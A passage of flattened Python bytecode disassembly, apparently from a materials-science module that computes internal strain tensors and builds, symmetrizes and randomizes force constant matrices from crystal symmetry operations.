LOAD_FAST op CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK BUILD_LIST STORE_FAST IST_operations SETUP_LOOP to 204 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR ist CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 202 STORE_FAST atom LOAD_FAST IST_operations LOAD_METHOD append BUILD_LIST CALL_METHOD POP_TOP SETUP_LOOP to 200 LOAD_GLOBAL range LOAD_FAST atom CALL_FUNCTION GET_ITER FOR_ITER to 198 STORE_FAST j SETUP_LOOP to 196 LOAD_FAST uniq_point_ops GET_ITER FOR_ITER to 194 STORE_FAST op LOAD_FAST op LOAD_METHOD transform_tensor LOAD_FAST self LOAD_ATTR ist LOAD_FAST j BINARY_SUBSCR CALL_METHOD STORE_FAST new LOAD_GLOBAL np LOAD_ATTR allclose LOAD_FAST new LOAD_FAST self LOAD_ATTR ist LOAD_FAST atom BINARY_SUBSCR LOAD_FAST opstol LOAD_CONST ('atol',) CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST IST_operations LOAD_FAST atom BINARY_SUBSCR LOAD_METHOD append LOAD_FAST j LOAD_FAST op BUILD_LIST CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST IST_operations LOAD_FAST self STORE_ATTR IST_operations LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR structure CALL_FUNCTION STORE_FAST n_atoms LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST n_atoms LOAD_CONST 3 LOAD_CONST 3 LOAD_CONST 3 BUILD_TUPLE CALL_METHOD STORE_FAST IST SETUP_LOOP to 270 LOAD_GLOBAL enumerate LOAD_FAST self LOAD_ATTR IST_operations CALL_FUNCTION GET_ITER FOR_ITER to 268 UNPACK_SEQUENCE STORE_FAST atom STORE_FAST ops LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD STORE_DEREF temp_tensor SETUP_LOOP to 104 LOAD_FAST ops GET_ITER FOR_ITER to 102 STORE_FAST op LOAD_DEREF temp_tensor LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR LOAD_METHOD transform_tensor LOAD_FAST IST LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD INPLACE_ADD STORE_DEREF temp_tensor JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST ops CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL Tensor LOAD_GLOBAL np LOAD_ATTR random LOAD_METHOD rand LOAD_CONST 3 LOAD_CONST 3 LOAD_CONST 3 CALL_METHOD LOAD_CONST 0.5 BINARY_SUBTRACT CALL_FUNCTION STORE_DEREF temp_tensor SETUP_LOOP to 184 LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION GET_ITER FOR_ITER to 182 STORE_FAST dim LOAD_DEREF temp_tensor LOAD_FAST dim BINARY_SUBSCR LOAD_DEREF temp_tensor LOAD_FAST dim BINARY_SUBSCR LOAD_ATTR T BINARY_ADD LOAD_CONST 2 BINARY_TRUE_DIVIDE LOAD_DEREF temp_tensor LOAD_FAST dim STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL sum LOAD_CLOSURE temp_tensor BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8a95e7de40, file "f.py", line 252> LOAD_CONST 'InternalStrainTensor.get_rand_IST.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR pointops LOAD_FAST atom BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR pointops LOAD_FAST atom BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_DEREF temp_tensor LOAD_DEREF temp_tensor LOAD_FAST IST LOAD_FAST atom STORE_SUBSCR LOAD_GLOBAL len LOAD_FAST ops CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST IST LOAD_FAST atom BINARY_SUBSCR LOAD_GLOBAL len LOAD_FAST ops CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_FAST IST LOAD_FAST atom STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST IST LOAD_FAST max_force BINARY_MULTIPLY RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST symm_op LOAD_DEREF temp_tensor LOAD_METHOD transform LOAD_FAST symm_op CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ForceConstantMatrix' STORE_NAME __qualname__ LOAD_CONST "\n This class describes the NxNx3x3 force constant matrix defined by a\n structure, point operations of the structure's atomic sites, and the\n shared symmetry operations between pairs of atomic sites.\n " STORE_NAME __doc__ LOAD_CONST (0.001,) LOAD_CONST 'Structure' LOAD_CONST 'float' LOAD_CONST ('structure', 'tol') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7f8b2000bf60, file "f.py", line 268> LOAD_CONST 'ForceConstantMatrix.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (1e-05, 1e-05) LOAD_CONST <code object get_FCM_operations at 0x7f8b2000bae0, file "f.py", line 284> LOAD_CONST 'ForceConstantMatrix.get_FCM_operations' MAKE_FUNCTION STORE_NAME get_FCM_operations LOAD_CONST (1,) LOAD_CONST <code object get_unstable_FCM at 0x7f8b2000b5d0, file "f.py", line 358> LOAD_CONST 'ForceConstantMatrix.get_unstable_FCM' MAKE_FUNCTION STORE_NAME get_unstable_FCM LOAD_CONST (1,) LOAD_CONST <code object get_symmetrized_FCM at 0x7f8a3d6199c0, file "f.py", line 423> LOAD_CONST 'ForceConstantMatrix.get_symmetrized_FCM' MAKE_FUNCTION STORE_NAME get_symmetrized_FCM LOAD_CONST (10,) LOAD_CONST <code object get_stable_FCM at 0x7f8a3d6198a0, file "f.py", line 487> LOAD_CONST 'ForceConstantMatrix.get_stable_FCM' MAKE_FUNCTION STORE_NAME get_stable_FCM LOAD_CONST (15,) LOAD_CONST 'np.ndarray' LOAD_CONST 'int' LOAD_CONST ('fcm', 'numiter') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_asum_FCM at 0x7f8a954cd8a0, file "f.py", line 533> LOAD_CONST 'ForceConstantMatrix.get_asum_FCM' MAKE_FUNCTION STORE_NAME get_asum_FCM LOAD_NAME requires LOAD_NAME Phonopy LOAD_CONST 'phonopy not installed!' CALL_FUNCTION LOAD_CONST (15, 10) LOAD_CONST <code object get_rand_FCM at 0x7f8a954cd300, file "f.py", line 640> LOAD_CONST 'ForceConstantMatrix.get_rand_FCM' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_rand_FCM LOAD_CONST None RETURN_VALUE LOAD_FAST structure LOAD_FAST self STORE_ATTR structure LOAD_FAST fcm LOAD_FAST self STORE_ATTR fcm LOAD_FAST pointops LOAD_FAST self STORE_ATTR pointops LOAD_FAST sharedops LOAD_FAST self STORE_ATTR sharedops LOAD_CONST None LOAD_FAST self STORE_ATTR FCM_operations LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR structure STORE_FAST struct LOAD_GLOBAL SpacegroupAnalyzer LOAD_FAST struct CALL_FUNCTION LOAD_ATTR get_symmetry_operations LOAD_CONST True LOAD_CONST ('cartesian',) CALL_FUNCTION STORE_FAST ops LOAD_GLOBAL list LOAD_FAST ops CALL_FUNCTION STORE_FAST uniq_point_ops SETUP_LOOP to 78 LOAD_FAST self LOAD_ATTR pointops GET_ITER FOR_ITER to 76 STORE_FAST ops SETUP_LOOP to 74 LOAD_FAST ops GET_ITER FOR_ITER to 72 STORE_FAST op LOAD_FAST op LOAD_FAST uniq_point_ops COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST uniq_point_ops LOAD_METHOD append LOAD_FAST op CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK BUILD_LIST STORE_FAST passed BUILD_LIST STORE_FAST relations SETUP_LOOP to 330 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR fcm CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 328 STORE_FAST atom1 SETUP_LOOP to 326 LOAD_GLOBAL range LOAD_FAST atom1 LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR fcm CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 324 STORE_FAST atom2 LOAD_CONST 1 STORE_FAST unique LOAD_GLOBAL np LOAD_ATTR linalg LOAD_METHOD eig LOAD_FAST self LOAD_ATTR fcm LOAD_FAST atom1 BINARY_SUBSCR LOAD_FAST atom2 BINARY_SUBSCR CALL_METHOD UNPACK_SEQUENCE STORE_FAST eig1 STORE_FAST _vecs1 LOAD_GLOBAL np LOAD_METHOD argsort LOAD_FAST eig1 CALL_METHOD STORE_FAST index LOAD_GLOBAL np LOAD_METHOD real LOAD_FAST eig1 LOAD_FAST index LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST eig1 LOAD_FAST index LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST eig1 LOAD_FAST index LOAD_CONST 2 BINARY_SUBSCR BINARY_SUBSCR BUILD_LIST CALL_METHOD STORE_FAST new_eig SETUP_LOOP to 274 LOAD_FAST passed GET_ITER FOR_ITER to 272 STORE_FAST p LOAD_GLOBAL np LOAD_ATTR allclose LOAD_FAST new_eig LOAD_FAST p LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST eigtol LOAD_CONST ('atol',) CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST relations LOAD_METHOD append LOAD_FAST atom1 LOAD_FAST atom2 LOAD_FAST p LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST p LOAD_CONST 1 BINARY_SUBSCR BUILD_LIST CALL_METHOD POP_TOP LOAD_CONST 0 STORE_FAST unique BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST unique LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST relations LOAD_METHOD append LOAD_FAST atom1 LOAD_FAST atom2 LOAD_FAST atom2 LOAD_FAST atom1 BUILD_LIST CALL_METHOD POP_TOP LOAD_FAST passed LOAD_METHOD append LOAD_FAST atom1 LOAD_FAST atom2 LOAD_GLOBAL np LOAD_METHOD real LOAD_FAST new_eig CALL_METHOD BUILD_LIST CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK BUILD_LIST STORE_FAST FCM_operations EXTENDED_ARG SETUP_LOOP to 728 LOAD_GLOBAL enumerate LOAD_FAST relations CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 726 UNPACK_SEQUENCE STORE_FAST entry STORE_FAST r LOAD_FAST FCM_operations LOAD_METHOD append LOAD_FAST r CALL_METHOD POP_TOP LOAD_FAST FCM_operations LOAD_FAST entry BINARY_SUBSCR LOAD_METHOD append BUILD_LIST CALL_METHOD POP_TOP LOAD_CONST 0 STORE_FAST good SETUP_LOOP to 486 LOAD_FAST uniq_point_ops GET_ITER FOR_ITER to 484 STORE_FAST op LOAD_FAST op LOAD_METHOD transform_tensor LOAD_FAST self LOAD_ATTR fcm LOAD_FAST r LOAD_CONST 2 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST r LOAD_CONST 3 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD STORE_FAST new LOAD_GLOBAL np LOAD_ATTR allclose LOAD_FAST new LOAD_FAST self LOAD_ATTR fcm LOAD_FAST r LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST r LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST opstol LOAD_CONST ('atol',) CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST FCM_operations LOAD_FAST entry BINARY_SUBSCR LOAD_CONST 4 BINARY_SUBSCR LOAD_METHOD append LOAD_FAST op CALL_METHOD POP_TOP LOAD_CONST 1 STORE_FAST good EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST r LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST r LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST r LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST r LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST good LOAD_FAST r LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST r LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST r LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST r LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST good LOAD_FAST good LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST r LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST r LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST r LOAD_CONST 3 BINARY_SUBSCR LOAD_FAST r LOAD_CONST 2 BINARY_SUBSCR BUILD_LIST LOAD_FAST FCM_operations LOAD_FAST entry STORE_SUBSCR LOAD_FAST FCM_operations LOAD_FAST entry BINARY_SUBSCR LOAD_METHOD append BUILD_LIST CALL_METHOD POP_TOP SETUP_LOOP to 722 LOAD_FAST uniq_point_ops GET_ITER FOR_ITER to 720 STORE_FAST op LOAD_FAST op LOAD_METHOD transform_tensor LOAD_FAST self LOAD_ATTR fcm LOAD_FAST r LOAD_CONST 2 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST r LOAD_CONST 3 BINARY_SUBSCR BINARY_SUBSCR CALL_METHOD STORE_FAST new LOAD_GLOBAL np LOAD_ATTR allclose LOAD_FAST new LOAD_ATTR T LOAD_FAST self LOAD_ATTR fcm LOAD_FAST r LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST r LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST opstol LOAD_CONST ('atol',) CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST FCM_operations LOAD_FAST entry BINARY_SUBSCR LOAD_CONST 4 BINARY_SUBSCR LOAD_METHOD append LOAD_FAST op CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST FCM_operations LOAD_FAST self STORE_ATTR FCM_operations LOAD_FAST FCM_operations RETURN_VALUE LOAD_FAST self LOAD_ATTR structure STORE_FAST struct LOAD_FAST self LOAD_ATTR FCM_operations STORE_FAST operations LOAD_GLOBAL len LOAD_FAST struct CALL_FUNCTION STORE_FAST n_sites LOAD_CONST 1 LOAD_FAST max_force BINARY_TRUE_DIVIDE LOAD_CONST 2 BINARY_MULTIPLY LOAD_GLOBAL np LOAD_METHOD ones LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST n_sites LOAD_CONST 3 BINARY_MULTIPLY BUILD_LIST CALL_METHOD BINARY_MULTIPLY STORE_FAST D EXTENDED_ARG SETUP_LOOP to 1068 LOAD_FAST operations GET_ITER EXTENDED_ARG FOR_ITER to 1066 STORE_FAST op LOAD_CONST 0 STORE_FAST same LOAD_CONST 0 STORE_FAST transpose LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST same LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST transpose LOAD_FAST transpose LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST same LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR SETUP_LOOP to 482 LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR GET_ITER FOR_ITER to 480 STORE_FAST symop LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST temp_fcm LOAD_FAST symop LOAD_METHOD transform_tensor LOAD_FAST temp_fcm CALL_METHOD STORE_FAST temp_fcm LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE DUP_TOP BINARY_SUBSCR LOAD_FAST temp_fcm INPLACE_ADD ROT_THREE STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 0 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_ATTR T LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE LOAD_GLOBAL Tensor LOAD_GLOBAL np LOAD_ATTR random LOAD_METHOD rand LOAD_CONST 3 LOAD_CONST 3 CALL_METHOD LOAD_CONST 0.5 BINARY_SUBTRACT CALL_FUNCTION LOAD_FAST max_force BINARY_MULTIPLY STORE_DEREF temp_tensor LOAD_GLOBAL sum LOAD_CLOSURE temp_tensor BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8b2000bdb0, file "f.py", line 405> LOAD_CONST 'ForceConstantMatrix.get_unstable_FCM.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST temp_tensor_sum LOAD_FAST temp_tensor_sum LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR sharedops LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBSCR CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 942 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 924 STORE_FAST pair LOAD_FAST temp_tensor_sum LOAD_ATTR T STORE_FAST temp_tensor2 LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR LOAD_FAST pair BINARY_SUBSCR LOAD_METHOD transform_tensor LOAD_FAST temp_tensor2 CALL_METHOD STORE_FAST temp_tensor2 LOAD_FAST temp_tensor_sum LOAD_FAST temp_tensor2 BINARY_ADD LOAD_CONST 2 BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 942 LOAD_FAST temp_tensor_sum LOAD_FAST temp_tensor_sum LOAD_ATTR T BINARY_ADD LOAD_CONST 2 BINARY_TRUE_DIVIDE STORE_FAST temp_tensor_sum LOAD_FAST temp_tensor_sum LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_FAST temp_tensor_sum LOAD_ATTR T LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST D RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST symm_op LOAD_DEREF temp_tensor LOAD_METHOD transform LOAD_FAST symm_op CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR FCM_operations STORE_FAST operations LOAD_FAST unsymmetrized_fcm STORE_FAST D EXTENDED_ARG SETUP_LOOP to 1022 LOAD_FAST operations GET_ITER EXTENDED_ARG FOR_ITER to 1020 STORE_FAST op LOAD_CONST 0 STORE_FAST same LOAD_CONST 0 STORE_FAST transpose LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST operations LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST same LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST transpose LOAD_FAST transpose LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST same LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD zeros LOAD_CONST 3 LOAD_CONST 3 BUILD_LIST CALL_METHOD LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 0 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 1 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE BUILD_TUPLE STORE_SUBSCR SETUP_LOOP to 366 LOAD_FAST op LOAD_CONST 4 BINARY_SUBSCR GET_ITER FOR_ITER to 364 STORE_FAST symop LOAD_FAST D LOAD_CONST 3 LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 LOAD_FAST op LOAD_CONST 2 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 3 BINARY_ADD BUILD_SLICE LOAD_CONST 3 LOAD_FAST op LOAD_CONST 3 BINARY_SUBSCR BINARY_MULTIPLY LOAD_CONST 